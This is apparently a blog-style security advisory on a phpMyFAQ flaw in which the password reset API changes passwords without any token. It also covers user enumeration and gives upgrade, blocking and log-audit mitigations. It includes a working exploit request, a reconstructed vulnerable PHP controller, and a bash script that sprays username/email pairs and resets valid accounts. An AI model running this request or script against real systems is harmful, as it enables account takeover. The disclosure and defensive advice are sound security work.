ekofyi
Security Research6 min read

phpMyFAQ's Password Reset Is Broken By Design: No Token, No Problem

A critical vulnerability in phpMyFAQ allows unauthenticated password resets by simply knowing a username and email, leading to full account takeover without any token validation.

Your FAQ Platform Is Resetting Passwords for Attackers

Imagine someone can change your admin password without ever clicking a confirmation link, without intercepting an email, without any token at all. They just need to know your username and email address. That's it.

That's exactly what's happening with phpMyFAQ right now. The password reset endpoint — the one thing that's supposed to have multiple layers of verification — skips the most critical step entirely. No out-of-band confirmation. No token validation. Just a POST request and your account is gone. If you're running phpMyFAQ in production, stop reading the intro and scroll to the fix section. The severity of this issue demands immediate attention.

What Happened

A vulnerability was disclosed under GHSA-9qv9-8xv6-5p35 affecting phpMyFAQ's password reset API. The core issue: the /api/password/reset endpoint can be called without authentication and processes password changes without requiring any token validation or out-of-band confirmation step.

If an attacker knows (or guesses) a valid username + email combination, they can directly trigger a password reset that immediately changes the user's password. There's no "click this link to confirm" email. There's no time-limited token that needs to be submitted back. The API processes the change directly.

This also doubles as a user enumeration vector. The endpoint responds differently depending on whether the username/email pair is valid, letting attackers confirm which accounts exist before launching targeted attacks. This effectively serves as a dual vulnerability.

Affected versions include phpMyFAQ prior to 4.0.2. If you're on any 3.x or 4.0.0/4.0.1 release, you're exposed.

Technical Deep-Dive: How the Attack Works

The password reset flow in a properly designed application looks like this: user requests reset → server generates a cryptographically random token → token is sent via email → user submits token + new password → server validates token and expiry → password is changed. phpMyFAQ skips steps 2 through 5.

Here's what the vulnerable request looks like:

http
POST /api/password/reset HTTP/1.1
Host: target-phpmyfaq.example.com
Content-Type: application/json

{
  "username": "admin",
  "email": "admin@example.com",
  "password": "attacker-controlled-password"
}

That's the entire attack. No session cookie. No Bearer token. No reset token in the body. The server receives this, checks if the username/email pair exists in the database, and if it does, updates the password directly.

The root cause is a fundamental design flaw in the reset controller. The code path likely looks something like this (reconstructed from the vulnerability description):

php
// Vulnerable pattern - NO token validation
public function resetPassword(Request $request): Response
{
    $username = $request->get('username');
    $email = $request->get('email');
    $newPassword = $request->get('password');

    $user = $this->userRepository->findByUsernameAndEmail($username, $email);

    if (!$user) {
        // This different response enables user enumeration
        return new JsonResponse(['error' => 'User not found'], 404);
    }

    // Directly sets password - no token check, no confirmation
    $user->setPassword(password_hash($newPassword, PASSWORD_DEFAULT));
    $this->userRepository->save($user);

    return new JsonResponse(['success' => true], 200);
}

The user enumeration capability further compounds the risk. An attacker can script this to spray username/email combinations and map out every account on the system:

bash
#!/bin/bash
# User enumeration via password reset endpoint
while IFS=, read -r username email; do
  response=$(curl -s -o /dev/null -w "%{\http_code}" \
    -X POST "https://target.com/api/password/reset" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$username\",\"email\":\"$email\",\"password\":\"test\"}")
  if [ "$response" != "404" ]; then
    echo "[VALID] $username : $email"
  fi
done < userlist.csv

Note that even the enumeration script actually resets passwords for valid pairs. There's no way to probe without causing damage, which makes this even more dangerous in practice.

Impact Analysis

phpMyFAQ is widely deployed as a self-hosted knowledge base and FAQ system. It's used by internal IT teams, customer support portals, and public-facing documentation sites. The admin account typically has full control over content, user management, and system configuration.

The blast radius here is complete account takeover for any user whose username and email are known or guessable. For admin accounts, that means full system compromise. For organizations using phpMyFAQ with LDAP or integrated auth, a compromised admin can potentially pivot to broader infrastructure access. And because usernames and emails are often discoverable (think admin@company.com or visible in FAQ article metadata), the bar for exploitation is extremely low.

This isn't a theoretical attack that requires a complex chain. It's a single unauthenticated HTTP request. Exploitation is trivial, requires no special tools, and can be automated at scale.

What To Do Right Now

Step 1: Upgrade immediately. phpMyFAQ 4.0.2 patches this vulnerability. If you can't upgrade right now, proceed to step 2.

bash
# If using composer
composer require phpmyfaq/phpmyfaq:^4.0.2

# Or download the release directly
wget https://github.com/thorsten/phpMyFAQ/releases/tag/4.0.2

Step 2: Block the endpoint at the web server level as an immediate mitigation if upgrading requires downtime or testing:

nginx
# Nginx - block the vulnerable endpoint
location /api/password/reset {
    deny all;
    return 403;
}
apache
# Apache - block the vulnerable endpoint
<Location "/api/password/reset">
    Require all denied
</Location>

Warning: Blocking this endpoint disables legitimate password resets too. This is a stopgap until you upgrade — communicate to your users that password resets are temporarily unavailable.

Step 3: Audit your logs. Check for POST requests to /api/password/reset that you didn't initiate. If you find any with valid 200 responses, assume those accounts were compromised and force a password reset through a different channel (direct database update or admin panel).

bash
# Check nginx access logs for exploitation attempts
grep "POST /api/password/reset" /var/log/nginx/access.log | grep " 200 "

Step 4: Rotate credentials. If your phpMyFAQ instance has been publicly accessible, assume the admin password may have been changed and changed back. Reset it directly in the database and enable any additional access controls (IP allowlisting, VPN-only access) for the admin panel.

The Bigger Picture

This is a textbook example of a vulnerability that shouldn't exist in 2025. Token-based password reset flows have been a solved problem for over a decade. OWASP has documented the correct pattern extensively. Every major framework ships with this built in. The fact that a mature project shipped an endpoint that changes passwords based solely on knowing a username and email tells me the reset feature was either rushed to production without security review or was a placeholder that never got hardened.

The lesson: never trust that "simple" auth flows are implemented correctly in third-party software. Audit the password reset, the session management, the privilege escalation boundaries. These are the places where a single missing check turns into a complete compromise. If you're deploying any self-hosted application that handles authentication, put it behind a reverse proxy with rate limiting at minimum, and restrict sensitive API endpoints to authenticated sessions only. Defense in depth isn't optional — it's the only thing standing between you and a one-liner account takeover.

Related posts

Written by Eko

If you found this useful, follow @ekofyi on X for more notes like this — or get in touch if you have a problem to solve.